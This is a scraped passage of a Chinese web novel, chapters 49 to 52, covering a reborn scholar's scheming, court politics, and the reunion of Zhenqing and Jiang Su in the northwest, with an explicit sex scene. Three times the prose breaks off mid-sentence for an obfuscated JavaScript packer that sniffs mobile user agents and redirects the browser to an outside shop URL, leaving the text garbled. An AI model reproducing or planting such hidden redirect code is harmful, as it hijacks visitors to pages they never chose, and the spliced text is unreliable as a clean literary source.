大概所有人都会觉得因为一个女子而得罪郡王得不偿失,可盛松言还是这么做了,并不是他不知道权衡利弊,而是那个人很像他在上一世见过的那个人。 那个人身居高位,是全天下最尊贵的女子,气度也与旁人相差甚大。 在上一世的盛松言并不知道应钰还认识这样的人物,他原以为应钰是雷州人,后来了扬州做生意。 虽说应钰并不是高门出身,但她很厉害,真的很厉害。 孤身来扬州开了一间小铺子,逐渐有了名气,当即开了第二家、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665340|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第三家店铺,应钰管治下属有方,善用人才,懂得利他的心,甚至将事业扩展延申到了别的地方。 再后来,全扬州人都知道有位叫应钰的女商人。 他和应钰相识于宣和元年的微末,那日正巧一同在寺庙屋檐下避雨,他们两人一言一语地开始攀谈了起来。 想来缘分也真是奇妙,他们二人自那次分开后,总能在别的地方相遇,不知不觉间,他们也在日渐相处中互相欣赏与喜欢。 记得他能和应钰成婚,也是克服了百般阻挠。 族中长辈皆觉得应钰配不上他盛松言,就因为他熟读圣贤书,要考取功名利禄,因此不该去娶一个从商女,理应跟名门贵女成婚,好打开士族路。 不过当时的他并没有真的考取功名利禄,族中反对声不大,直到他获得了极好的名次,母亲和家中长辈便对应钰越来越不满意,百般挑剔。 自古有孝义,他夹在中间,难以抉择。 他不知道该如何同母亲说,却也不舍得应钰跟随他而受伤难过。 那时,有位县令家的女儿想同他成婚,母亲满意极了,甚至私下联络这位县令家的女儿,二人相处亲密,攀谈甚欢,更是觉得应钰上不得台面。 起初应钰看在盛松言的面子上会处处忍让,可是母亲几番行为太过频繁,甚至称得上过分,应钰便也不待在府内。 照应钰的话说,她惹不起,总能躲得起。 经此一事,母亲时常同他诉苦道:“哪有成亲的女娘还整日在外抛头露面的,你都不知道外边的人怎么编排你的,他们说你养不起一个小女娘,还要女娘在外面去挣钱养家。” 盛松言则是笑笑道:“这有什么不好的?这说明我娶的娘子既有才华能赚钱养家的本事,也有照顾好家中的能力。” 盛母觉得自己和盛松言说不通,许多话断在喉咙里,也断了跟他开口的心思。 盛松言知道母亲又在考量和算计,只好警醒道:“阿娘,儿子很爱应钰,我不想她嫁入我们府门后过得不开心,况且她与我,本就是我高攀了。倘若再让我知晓您与惊玉关系不好,那么我会带着她出去住。” 郁母听完,气不打一处来,不过也安生了好一段时间,偶尔会旁敲侧击让他去看看那位县令小娘子。 可是他不喜欢。 他觉得这辈子只要有应钰便够了。 原以为生活会一直这样安稳地走下去,可是让盛松言没想到的是,应钰死了。 母亲曾跟应钰曾提过要把那位县令小娘子纳入府中,既然应钰不愿意做小,那就纳为平妻。 应钰仍旧不答允。 因为盛松言在娶她的时候便说过两件事,第一件事是他此生只会娶应钰一个,更不会有纳妾的意思,第二件便是他不会阻挡应钰生意上的事情,只要应钰想要做,任何事都可以放手去做,他绝不会让应钰拘泥于宅院内。 母亲气急败坏,听从了县令小娘子的想法,真的悄悄把应钰给害死了。 应钰死后,盛松言自然心有愧疚,没了活下去的勇气。 身为皇后的枕清也来了,查清楚事情的始末,枕清没有放过任何一个人,当然也包括盛松言。 那时候的枕清,盛松言到现在还能记清。 身居高位,有不可反抗的强势。 枕清对他说的第一句话,也是最后一句:“既然你这么爱她,那就喝了这杯毒药,下黄泉去陪她吧。” 盛府的夫人和县令里的女眷叫苦不迭,只有盛松言甘之如饴地喝下那杯毒药。 他和应钰死在同一年里。 49. 身世非比昔人前(八) 在他踏进长安城的那一天,他发现他能记起所有的事情。 回过头看这一世,原来他早在阙口就遇到了应钰,只不过应钰不在长安城内,她回到了扬州城内。 别人没有说错,他确确实实想要去扬州,去找应钰。 至于扬州县令为何落马,不少有人怀疑这是他的手笔,奈何没有证据。 这件事是有他的手笔,不过令他没想到应钰竟也和他想到一处去了。 为了拉扬州县令下水,竟然敢不惜一切代价,以身犯险。 这并不符合应钰以往的作风,除非是应钰也跟他一样,重生了,并且知道害死她的凶手是谁。 这是来报仇了吗? 盛松言突然沉默了,如果应钰不知道上一世的事情,那么他可以先应钰一步,从头来过。倘若应钰想起来了一切,大概不会给他从头来过的机会,从此被扼杀在摇篮里。 所以他急需要一个能控制住,又或者是让应钰在意的事,或是人。 他所能想到的,一是辛苦积累的生意,二是枕清。 现下,应钰的生意都已经逐步稳妥,即使盛松言出手,也难动辄到生意的根基,所以只有枕清。 这也就是盛松言不惜反抗李酌赋而去维护那个女子的原因,即使不知道她是不是枕清,起码有希望。 盛松言碰了碰被李酌赋打了一拳的脸,并没有在意,而是抬头看向早就不知所踪的沈阁老。方才沈阁楼一直坐在上方的阁楼内,默默看着这一方好戏。 李酌赋冷眼看着盛松言的发青的伤疤,他方才动手并没有放水,而是切切实实动了真格。 他压制怒火,讥讽道:“人都走了,盛状元还在看什么呢?今日你可真是出尽了好风头,好一招英雄救美,就是不知道那位小娘子能不能记起你的好!” “郡王何必这般生气动怒,气坏了身子,可得让红花楼里的张娘子一阵伤心,这样下官的罪过可就大了。即使这位小娘子逃走了,郡王也不缺其他小娘子作陪,何须执着这一个。”盛松言好脾气地笑笑,话中暗藏难以分辨的威胁,“如果李大都督知晓郡王在长安是这般模样,不知会留你在这到几时?” 都能把他阿爷搬了出来,这长安城里的人都被盛松言给摸透了。 李酌赋寒芒微敛,维持刻意的笑容,当即上前揽过盛松言的肩膀,半推半就地带着人往前走,态度一改之前。 “盛状元何必这样说,大家同在官场,自然是朋友,说这般话可显得生分了。”李酌赋笑道,“盛状元博学多才,在日后定能直上青云!来来来,咱俩今日算是不打不相识,喝花酒去!点长安城里最漂亮的小娘子给你!” 这话语可谓是壮志豪言,可长安城内处处都是狗肉朋友,也处处都是人精。 墙头草谁不会,无非是看谁有几分本事,就跟着谁。 身在扬州城内的盛松言不需要酒肉朋友,可这里是长安。 盛松言就着李酌赋的动作往前走,他知道李酌赋向来喜欢白皙纤细的小娘子,这一款对李酌赋而言,简直算得上尤物,遇上这么个符合他心意的小娘子被自己搅黄了,心中定会有不痛快。 不过李酌赋痛不痛快都没有他的终身大事重要。 盛松言如是想,嘴上勾起笑意道:“最漂亮的小娘子还是郡王自己留着便好,下官已有心意之人。” “哦?不知道哪家小娘子如此有幸,能得到微之的青睐?”李酌赋说罢,带着人到了花楼前,直接上了二楼。 盛松言听到李酌赋唤自己小字,不动声色地垂首,平静道:“待我追上那位小娘子再同郡王说罢,现在的她还是我现在难以企及的人。” “竟然还有这般厉害的人物,竟叫微之你如此妄自菲薄,那寡人就等你的好消息,也祝你早日抱得美人归。”李酌赋一字一句,漫不经意地看着四周金碧辉煌,“刘妈妈,怎的不把小娘子们都叫出来。” “哎呦,郡王这算是来得不巧了,今儿个有人包场了。”刘妈妈身着一袭红色襦裙,手腕处挂着一条飘逸精致的丝带,略有几许异域风情。 是个漂亮精致的美人。 李酌赋微微挑眉,他问道:“是何人啊?出手这般阔绰。” “是一位洛阳来的贵客。”刘妈妈和李酌赋常年打交道,许多小道秘密都会同李酌赋说,不过她算是半个人精,看了一眼跟随李酌赋的盛松言,眼神中含着打量和惊艳,荡在口中的话迟迟没说出口。 李酌赋自然也看到刘妈妈的眼神,他心中衡量,余光中瞥见盛松言有眼见力要后退离开时,李酌赋拉住盛松言的手腕,随意道:“刘妈妈直说吧,微之是我的好兄弟,没有什么可避讳的。” 刘妈妈得此话,当即喜笑颜开,压低声道:“这位小郎君果真是和郡王一样,一表人才!这里面还有几位达官显贵,沈阁老,户部尚书秋迹,以及旁的几位关系好的侍郎大人,今夜都在此地。” 秋迹。 自从上回秋淮波死后,李酌赋没再听过秋家的事情,秋淮波那事虽然被大理寺查清楚了,但他知道这里一定有阿之奎的手笔。 这几人今夜汇聚在此,不是要事商议,那就是想放纵一把。 李酌赋面露古怪,他笑着道:“一把老骨头,竟然还有这般活力。” 这话像是嘲笑,但未指名道姓,颇有指桑骂槐的意思。 盛松言听到刘妈妈讲起这些人,最开始想的并不是尚书都来了此地,而是为何刘妈妈如此不避讳地同李酌赋说这些人。 如果是常来的贵客多加关照下,但也不至于如此。 官场内的消息如此明目张胆的转告,倘若恼怒了贵主,得不偿失,混迹在风月场所的人,更应该守口如瓶才是。 而且李酌赋这人太过古怪,表面看上去浪荡不羁,可也是个看人眼色的高手。或许浪迹在情场只是他的伪装,最重要的目的就是打好交道,获取有用的信息。 盛松言正看向李酌赋,李酌赋先他出了门,颇为抱歉似的回首看向盛松言道:“既然有人包了场,那么我们也不便打扰,不如去东处阁楼饮酒作诗,好好扬扬你这大才子的威风!” “好啊。”盛松言欣然应下,信步迈出门槛。 洛阳贵客。 或许是在说盐商的事情,只是这位沈阁老,最近出入的有些频繁。 前几日太后殿下曾私下面见过他,太后殿下喜欢盛松言这幅不卑不亢、宠辱不惊的模样,甚至赞扬过他和江长史有几许相似。 盛松言并没有和江诉接触过,自然也不觉得他和江诉相似,反倒常常听到旁人说江诉和禹王的神韵相同。 禹王和太后殿下私下并不交好,江诉能在这两人底下如鱼得水,必然有过人之处。 他没有遵循太后殿下所想那样,跟着江诉的步伐在长安内按部就班,他所说的话语中皆要留在扬州的意思。太后殿下并不看好,科举考本就是为了提拔那些寒门世家子弟来稳固她的位置,如果不把人安排在好的位置,又如何能与世家抗衡? 就算各自往后退一步,太后也想让盛松言去洛阳当县令,而非扬州。 虽说扬州和洛阳两地,当职皆有县令,可大启的县令,官品不一。 万年、长安、河南、洛阳、太原、晋阳六县,县令皆为正五品以上,人口高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665341|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达六千多户。[1] 而扬州县令只有七品,一品就犹如天埑,更别说两品。 近些年来,扬州可走水路,来往的商旅虽多,但与洛阳相比,相较差一些。 今夜在红花楼中听到洛阳贵客,那么势必跟官盐相关,这可是个大差事,想来应钰若是有心,自然也会参与一脚。 可盛松言遗漏了一处,但若真如他所想的那样,应钰重生了,自然会躲着他,即使他去了扬州,应钰也会在他去之前离开。 与其这样,倒不如去洛阳发展,不仅前途更大,甚至调动回长安也相较于其他更容易些。 假使应钰想拿下官盐这块大肥肉,势必要经过洛阳,如果应钰来了洛阳,他又何必怕找不到应钰。 不过他现在还要将自己去扬州的声响放出来,避免了打草惊蛇。 盛松言要去扬州当县令的声音逐渐传了出去,有人觉得盛松言这般是大材小用,也有人感叹松盛言此举多造福家乡,当真是重孝道的孩子。 应钰从商做生意,风吹草动比旁人更快得知,她提前在扬州安排好了人,待盛松言上路,转身就投入到洛阳去。 她的确不想看到盛松言,也有意去躲避他。应钰不是官场上的人,她只是一介商贾,况且她家大业大,哪里都可以安身立命,而有官职的盛松言却是不同。 早在之前,枕清就同她说过,盛松言一旦踏入这长安,一定会跟她纠缠不清。所以她也故意透露行迹,给人一直待在扬州的错觉,她这明摆着就是诱盛松言来扬州,也将人困在扬州。 届时,天高路远,她想去哪里便去哪里,不再和盛松言有任何交集和瓜葛。 洛阳不似扬州水路居多,应钰乘着马车,干脆利落地离开了扬州。 朝中只有几位得知盛松言去往洛阳,而扬州县令位置空缺,盛松言朝太后殿下举荐了翁恒,也带上了万思,这两人还有剿灭阙口悍匪的有功支撑。 太后殿下考量一番,知晓翁恒在此次科考获得了好的名次,也点头应允。不过万思留在了长安,接手了大理评事一职,虽说是芝麻小官,好歹是长安。[2] 长安的风水养人,处处都是机会。 夏日的酷暑渐渐消散,长安底下的权力又在暗流涌动,枕清心思早已不在长安内,无论激起多大风浪,都与她无关。 身体日渐好转,禹王也知晓她快要离开,同她叮嘱许多事情,早在一年前,禹王给她金蝉脱壳的身份安排妥当。 而她也应该上路了,不然某人要着急了。 枕清踏上马车郊外的马车,禹王望着从小不点逐渐长成小女娘的枕清,突然怅然地笑了。 枕清掀开马车的帘子,垂眸看向禹王,她觉得自己的喉咙里堵着一颗陈年老旧的糖,梗在喉咙处既上不来也下不出,更是难受到她没办法好好品味其中的甜味,只有想如何除掉这份堵噎的焦灼。 待时间逐渐把糖果消磨吞咽,传来的不再是深入骨髓的难受,而是缺少那颗糖的不适应。 她是放下了吗? 真的放下了吗? 枕清并不清楚,可她不想像江诉所说的那样,局限在仇恨里,她需要独自走过心里的那道防线,她想,她需要还阿耶和枕家一个清白。 枕清微微扬起笑,一如从前开玩笑道:“阿耶,下一次回来就不能再叫你阿耶了,您老可要多保重身体,别等我回来就步履阑珊了。” “好,早日回来。”禹王微微侧过身子,听到马车行驶而去的声音,眼眶湿润。 他抬头看向高远广阔的上空,几只朱鹭经久盘旋。 鸟儿大了,要高飞了。 50. 月坠云披压青枝(一) 秋高气爽,叠翠流金。 西北上空盘旋两只凤头百灵,一队人马逐渐靠近,鸟儿振翅高飞,直冲云霄。 大漠旷野吹过一丝凉爽的秋风,脚边黄沙漫卷升空,前方的胡杨树迎风而立,根系在大地的深处漫展,枝杈傲然,直指苍穹,展望更远处连绵起伏的沙丘,远接碧空,满目明亮。 这支出行的队伍浩浩汤汤,足足有上百人,人数虽谈不上多,但也绝不算少,更何况各个都是骁勇善战的骑兵,他们弓挂马背,腰佩横刀,更是给足了这位主人排场和面子。 一行人穿过最后一片沙漠戈壁,便能到达北沙窝。陇右骑兵第十二团(北亭镇)就驻扎此地。 卷柏坐在凉亭下,一手抬起遮了遮烈日,另一手开始上下扇动为自己解滚滚袭来的热风。 来陇右这么久了,她整个人都被晒得又红又黑,现在还要在这里等不知道从哪里出来的渭州刺史的女儿。 她满不在意地瞥向一旁镇定自若的江诉和牧青,这两人还装镇定呢?她可是听说这位渭州刺史的女儿想要跟陇右这边联姻,而大都督话里话外都有倾向江诉的意思。 江诉推脱婚事也是一把好手,不过最后也执拗不过大都督,命令江诉出来迎接这位远道而来的小娘子。 渭州地处陇西郡,那边的郎儿骁勇善战,说不准那位渭州刺史的小女娘还真会喜欢江诉这文人墨客的模样。 “我听大都督话里话外的意思,陇右的郎君任渭州刺史那位小女娘随意选择,”卷柏朝江诉努努嘴,悄悄压低声跟牧青道,“万一真看上他了,那该怎么办呐?” 牧青瞥向漫不经心品茶的江诉,眉头紧蹙,正色道:“长史自然有办法,无需我们担心。” “我是怕他拒绝,让我们被大都督扫地出门!”卷柏小声道。 牧青注意到江诉朝他们这里看来,喉咙一紧,道:“无妨,最开始那般难的阶段都扛过来,还能怕她一个小女娘还不成?” 话音正落,军中引起一阵不小的骚动。 他们几人顺着声音朝远处望去,一眼便见到一辆风格迥异的马车。 这辆马车顶端镶嵌琥珀,以红纱幔帐围绕,帐边配以甲面大小夜明珠镶圈,四角垂挂的金丝云绣香包,正中间落下一串铃铛,风烟漫过,层层荡开,叮当作响。 北肆姝低首迈出马车,视野一片豁然开朗。眼前黑压压的跪倒一片,为首的是一个身着黑色衣裳,头戴银冠的青年,他正抬首朝她这处看来。 距离太远,从北肆姝的位置并不能看清那人的面容。 驿站因为她的到来,变得静悄悄,静得让人窒息。 卷柏一双圆眸盯着走来的北肆姝,她步履轻缓,身后马车的纱帐随风清扬,虽说看不清楚脸,姿态倒给人清冷疏离,仿佛没有把他们任何人放在眼里,不禁让人生出距离感。 随着步伐越近,不少人逐渐看清这位贵主的模样,莫名倒吸一口气。不是因为这个贵主有什么可怕之处,而是因为生得太好看。 牧青被晃了目,随后探向江诉,发现江诉也看着那女娘,只不过那双清冷淡薄的眸子逐渐显露一种被压制良久的炽色。牧青面露稀奇,毕竟在牧青心中,江诉是个定力十足好的人,即使美人在怀都能不动声色。 北肆姝身着逶迤拖地的百色鸾衣,熠熠流光的珠钗宝玉随身摆动,外裳轻纱薄透,飘逸空灵,隐约透出左臂所带缠臂金,华丽异常。 卷柏磕磕巴巴地小声道:“好漂亮,好贵。” 北肆姝并没有去理会旁人的目光,而是看向这里的掌头人江诉,冷淡挑眉,用两人才能听到的声音说:“江长史,一别经年,可还好?” 江诉眼神微动,当即握住北肆姝的手腕。 牧青和卷柏眼神疯狂跳动,这位小女娘分明是想越过他们走向后院,没想到江诉直接将人握住,停下了小女娘的步伐。 北肆姝旋即一愣,抬起冷眸看向江诉,江诉并未松开手,反倒毫无察觉自己做了什么般,十分平静道:“小娘子舟车劳顿,想必要好好休息一番,本官带你去。” 北肆姝唇角弯起笑来,微微垂下眼看向那双修长白净的手和自己交缠,她眼珠转动,随后使坏般上抬自己被江诉紧握住的手,让所有人明晃晃看得清楚。 她声音冷淡:“那就有劳江长史了,只不过这手是否有失体面,你还怕我跑了不成?” “我的确怕你跑了。”江诉毫不避讳地承认道。 江诉带着人朝后院走去,卷柏和牧青相互对视一眼,都在彼此的眼神中品味出古怪来,没想到江诉还有这不为人知的一面。 卷柏八卦的心思到达顶峰,当即偷偷摸摸尾随,跟在江诉身后。牧青看到跟随北肆姝的男子也一道尾随,当即迈上步子一同跟上。 北沙窝的驿站不同于其他地方,驿站内是四方格局,中间镂空,走近抬头就能看见碧空如洗的天空,穿过堂廊,迈出门扉,又能领会不一样的沙漠戈壁。 江诉并未带人去房间,而是来到这座驿站的后方,此处沙海茫茫,仿佛无边无际,几乎不会有人来这。 江诉将人堵在身前,垂眸对视许久。少女变化太大,五官已经全然张开,又描摹起浓艳的妆容,褪去了原有的青涩,成了女娘模样。 两人默然对视许久,仿佛在执拗的对峙,江诉率先败下阵来,控诉道:“骗子。” 枕清没良心道:“你是第一次知道我会骗人吗?” 江诉仍旧看着她:“我等了你许久,你再不来,我就要回长安了。” 枕清笑着贴近,轻轻擦过他的唇角,缓缓贴近他耳畔,安抚道:“我这不是来了吗?” 说完,又要往后退,恰似要离开此地。 江诉洞悉枕清的动作,当即揽住她的腰,俯身吻上她的唇瓣。 只见枕清肩胛骨被这道猝不及防的吻轻轻颤抖,身形不由朝后退却半步,随即被腰间那只手的主人察觉,江诉直起背脊,低垂星眸深深望向枕清那双湿润微红的双眼,他唇角淡淡弯起,腰间的手掌使坏般轻巧一带,靠近更甚,再次毫不留情地俯身贴上那一张一翕被润泽过后的唇。 枕清满目无措,满脸通红,两人的呼和吸缓缓碰撞,枕清突然觉得自己好像被骗了,原本以掌控者的姿态变成了任人宰割的被动者。 他们的吻还在继续,生涩的动作落进秋风里,枕清第一次觉得自己无法掌控,她从前极其讨厌这样的位置,如果那人是江诉,或许也不是那么难以接受,于是在江诉对她取夺片刻后,枕清磕磕碰碰地主动回吻,江诉自然迎合。 在这一刻,仇羌居然看到了枕清流露出女儿家的娇羞与温情,甚至还有不抗拒的妥协。她不是不会爱人,只是她只愿意将这份爱意给予江诉。 牧青后退,仇羌回身,两人细碎的踩压声惊动了枕清。 枕清听到被踩到干草的声音,当即睁大双眸,微微用力推开江诉。江诉自然也听到了,循着声音望着来处,只见那三人如同鸟兽作散。 他并未就此满足,带人回了房间,将门一关,伸手环住枕清的腰,又把人拉近在自己胸膛前,贴得更紧。 屋外轻薄的窗纸上映出两道融合的影子,虚幻朦胧,不甚清明。 屋内昏暗,江诉声音沉而缓:“当初你让我听你的心跳声,说你是个活生生的人,我确信如此。” 枕清并不知道江诉现在说这话是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江诉仍在亲吻,动作却越来越重,犬齿咬住皮肤留下一点起酥麻的疼。 枕清的肩膀不禁动了动,深吸了口气,摸上他劲瘦有力的腰际,狠狠一掐。江诉无声地笑起来,将原本贴在她两侧的胳膊换作单臂勾住她的腰际,一把便将枕清捞了起来,按在了屋内一处神像前的石台上。 她被迫软腰伏下去,一双手被折在身后,皱着眉道:“江诉,你扮猪吃老虎。” “是啊。这不,”江诉笑着轻咬上她的后颈,“吃到了。” 枕清感知身后那人的动作,全身软绵绵,抬头就能看到那张神像,恍然觉得自己变成了一望无际的沙滩,被层层叠叠浪潮席卷而来,一波接着一波。 枕清眼尾残留着湿漉漉的浅红,身上没有力气,嘴里却不饶人。 江诉的手覆着那白而光滑的腰身,他笑了笑,俯身在那腰间凹陷处吻了一下,“只要今夜起得来,好说。” 江诉的动作时轻时重,说为了照顾她,特意没用什么狠劲。她在江诉身下哭喘,意识迷迷糊糊,想到,没用什么狠劲倒是真的,巧劲用了不少倒也是真的。 她是初次,哪经得起江诉如此折腾,没多久就不行了,呜咽着求饶。江诉漫不经心地拨了拨她的湿发,轻笑道:“不许。” 彼时的枕清仿若溺在一片汪洋的死海里,身前的江诉是她在漂浮之际,所遇到的一块浮木,只要抱着他,便不会就此沉沦…… 江诉这次做得过分。 牧青觉得自己在仇羌这里抬不起头来,他不敢直视仇羌的眼睛,磕磕巴巴地说道:“她哭得厉害。” 仇羌自然听到了,自是没想到这两人如此凶猛,不自然地轻咳一声。 反倒是年纪最小的卷柏砸吧砸吧地品味,随后责怪般道:“下半句你可真是一点都不说啊。” 两个人男的脸颊耳根微微红热起来,面容如同被烤熟的兔子,卷柏则是一点没有害臊的意思,笑眯眯道:“她喘得也厉害!” 夜色旖旎。 帷幕才刚刚拉开。 51. 月坠云披压青枝(二) 天色蒙蒙亮,屋内点了烛火,隐隐绰绰地罩在窗上,远处黄沙微微卷起。 仇羌立在门外,听到里头又隐隐约约的说话声,一时道“不过才这么一晚就这般受不住?”一时又道,“身子怎得能如此虚弱,他不是说已经调理得当了吗?当真是纵欲过度了。” 声音似乎苦恼又像是喃喃自语,却始终没有听到枕清的声音。 又过了会,江诉打开了房门。 屋内点了熏香,半掩的帷帐里躺着个人,从缝隙中能瞥见白皙的肩和铺展在床上的青丝,身上裹着一层单薄锦被,赤白的小腿垂着,身上依稀能窥见斑斑点点,皆是红痕。 只是那张白皙素净的面容却似熟睡了。 江诉从一开始就知道枕清身边来了一个他不认识的人,不过他并不在意这人,只是在仇羌平淡的面容之下,意外挑眉,又轻轻关上门。 仇羌的目光从屋内移开,直接道:“江长史打算何时启程?我家贵主如此模样,这两日怕是不能够再舟车劳顿了。” “那就在此休整两日。”江诉说完,吩咐青衣打来一盆热水,径自又回到了屋内。 仇羌对于枕清做的任何事都不会感觉到诧异,反倒是太过平常才让他感觉到奇怪,如此纵欲,俨然是在仇羌不会意外的范围内。直到他一人站在门外,见到一位小青衣端着一盆热水进屋,又匆匆出来,才转身离开。 不知道到了什么时辰,屋内只看得到日落下山的余晖。 枕清醒来的时候,发现屋内早已经被打扫干净,她掀开被子动了动身子,发现整个身子并没有任何粘腻不适之感,隐隐约约想起,好像是江诉帮她清洗擦拭过了。 枕清脸上生热,她掀开床面上的帷帐,赤脚踩上被铺好的羊毛毯,不料力乏身软,只好用手轻轻扶住腰侧,缓解一夜缠绵后的酸软。 她伸手拿起身旁的衣服,微微一抬眼,便瞧见正坐在桌案前的江诉正一瞬不瞬地盯着自己,枕清脸上的红晕当即漫延到耳根子。 还没忘记昨天任她怎么求饶,江诉都不肯罢休模样,当即愤恨地瞪了一眼江诉,江诉见她如此模样,忍不住弯了弯唇瓣,起身走前为她穿衣。 枕清任由江诉折腾打扮自己,待衣襟全部整理好后,枕清立马偷袭拉下江诉的衣领,猛地咬上了江诉的肩胛骨。 昨天江诉掐她腰多狠,她就下口咬他有多狠。 “真是狠心的小女娘阿。”即便如此说,江诉的声音还是浸满了笑意。 枕清满意地松了口,昨日烛火昏暗,可她还是看清了江诉身上有很多、很多的疤痕。虽然能看出来那些伤口已经很久了,但还是像新出现的那般,一点点漫入她的心里。 她从来不知道江诉身上有那么多伤疤,她看得出来那些伤口并非都是用利器或者匕首伤的,更像是溃烂的皮肉被新的灵魂一点点重塑,经过漫长的时间洗礼,才能恢复成这般模样。 其中的难度,枕清不得而知,可是心里还是莫名发酸,又有些许气愤。 至于这气愤从何而来,归根结底,她自己也不甚清楚。 枕清恶狠狠道:“我要把你身上的伤,都换成我的痕迹。” “换成咬痕吗?”江诉笑着问道。 随后又思索了下,伸出手指漫不经心碰了碰枕清的耳垂,他轻轻道:“似乎也就只有这个方法才能在我身上留下痕迹了。” 枕清微抬起脸,江诉手中没了动作,又道:“好了,吃饭吧。” 她的视线瞬间被江诉的话拉回,望着不远处的一桌菜肴。 按理说,西北的饭菜不如长安佳肴细腻,可是今晚的饭菜皆是符合她的口味。枕清莫名瞧了一眼江诉,江诉知她所想,解释道:“我提前叫了长安的厨娘跟随我一同来了凉州,怕吃不习惯凉州菜。” 怕吃不惯凉州饭菜的人,除了枕清,还能是谁? 枕清闻言一笑,她可是曾在雷州待过的人,又不是长安那种蜜罐子里养出来的贵人。 不过经去年那几次的受伤,她对自己的身体也有所感知,的确是一日不如一日,到现在也难以回到从前。她略有惆怅,口吻却是不服气道:“你可别把我想得这般娇气?说不定,下次我能和你大战三百回合!” “好。”江诉给枕清夹了一筷子肉,“你不娇气,是我娇气。” 江诉话语中满是宠溺的意味,又开口道:“我怕你的身子好似还未好全,不宜再劳顿,过两日再出发去都护府。” 枕清注意到江诉给自己夹菜,她默默咬了一口碗中的肉,她并不是没有和江诉吃过饭,可她从未见过江诉吃过肉,更别说用筷子给旁人夹肉。 可是今天,江诉反常得厉害,好似有什么心结被打开了。 早在她叫青黛查江诉和阿之奎时,就已经知道他们两人出身银州,银州曾闹过饥荒,而他们两人遇到这般大的事情,怎么可能如此完好的站在众人面前。 通过种种迹象,即使江诉从未告诉过她,枕清也能猜到江诉曾经发生过什么事。 啪嗒。 一根筷子从手中滑落。 江诉见状,当即放下碗筷,靠近枕清,轻声问:“怎么了?” 枕清抬起手臂环住江诉的脖颈,吸了吸鼻子,并不想让江诉得知她所难过是因为他,反而转了一个话题说:“江诉,其实我已经不恨阿耶了,我之所以会和阿耶表面决裂,是因为我真的想割舍这段亲情的关系,却又舍不得。至于枕家,我对枕家没有任何一点记忆,除了一个姓氏,我好像和他们毫无关系,就是像陌生人一般。” 枕清垂下眼睑,掩饰眸中的神色,声音似是轻喃,又似在颤抖,最后只剩一腔难以释怀的茫然:“江诉,是不是我的心太狠了。” 江诉,是不是我的心太狠了。 江诉当即安抚拍了拍枕清的脑袋,温柔道:“不狠。因为你的记忆里从未存在过枕家人,你从小到大相处的人唯有禹王而已,自然割舍不下。你不狠,你全长安是最重情谊的女郎。” 枕清埋在他身前,闻着他身上清冽干净的气息,不由让她安定下来 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江诉伸出食指点了点方才给她重新拿过的一双筷子,眼神示意枕清吃饭,待她开始吃后,才又接着道:“的确是有,但也不完全。符生枝的长相并非是西域模样,深邃、高挑的面容,他身上反倒是长安墨客的温润之感。据他的说祖父母皆是长安人,你要想,先皇开国也仅仅只有二十年,而他们在陇右立足比大启存在的时间更为长久,先皇又怎可能放任符家逍遥至此,若是苛刻点甚至可以归为前朝余孽,可他偏偏屹立不倒。 “你可以说当初的大启的根基不稳,不想内忧外患,可现在呢?陇右兵力强盛,太后殿下怕符生枝有自立为王的想法,便派我和几位文官前去,想提防符家,可是深入了解,才发觉符家的根基如同沙漠中的胡杨树。” 生而千年不死,死而千年不倒,倒而千年不朽。[1] 枕清深思,逐步逐句地分析道:“那你是和这位大都督打过交道,那么他并非是温良之辈?倘若这样,那么他一定知道太后殿下对他有所防备,如此一来,并不会信任来自长安的你。” 江诉略微垂下眼,看向她铺满菜的碗,枕清留意到江诉投来的视线,当即夹了一筷子送进嘴里。 江诉缓缓道:“是。” 听到江诉这般回答,枕清并没意外,如果符生枝真的信任江诉,才更叫人意外。 不过看江诉现在的样子,大概也是在陇右这块地方站稳了脚。 那么开始到凉州的时候,江诉是不是也被别人为难过,她只想到江诉是有才情的人,无论到任何地方,都能力施展得开。却忘记了江诉也仅仅是个凡胎□□,他也会痛、会难受,倘若真遇上什么恶劣的人和事,会不会真的再也看不到他了。 枕清吃着东西,如同嚼蜡,她突然问向江诉道:“你刚开始来陇右,是怎么和他们相处的?” “就很平常。”江诉并不多讲,言简意赅道,“跟在长安的时候相差无几。” 见人不想讲,枕清也不强求。 52. 月坠云披压青枝(三) 夜色渐黑,枕清吃完饭后,并没有停留在房门内,而是跟着江诉在外面走了一圈。 晚上的沙漠戈壁静得出奇诡异,空中偶尔飘来的黄沙呛得人喉咙发痒,可抬头往上望,漫天的繁星入眼,恍然觉得自己身处辽阔无边的宇宙,自己则是万般渺小。 千百年后,所有人也仅仅只是一抔黄土。 枕清感受到寒凉的夜风吹拂自己的发梢,突然想到初到这里的那日,好似看到了陆佑善身边的卷柏,也明白卷柏一直以来都是江诉的人。 只是没想到江诉竟然能藏得这般深。 枕清抬手拢好自己的披风,盖上连帽,和江诉静静地走在一望无际的沙漠。 突然有一阵冷风吹过,抚开她连帽,枕清还未伸出手,江诉先她一步替她盖上帽子,枕清感知游走在她面颊上的手,隐隐发痒,伸出手抓住江诉的手腕骨。 江诉垂眸望向漂亮明媚的枕清,弹指间,便见她踮起脚尖,从连帽中探出脑袋,在自己的唇瓣落下浅浅一吻。 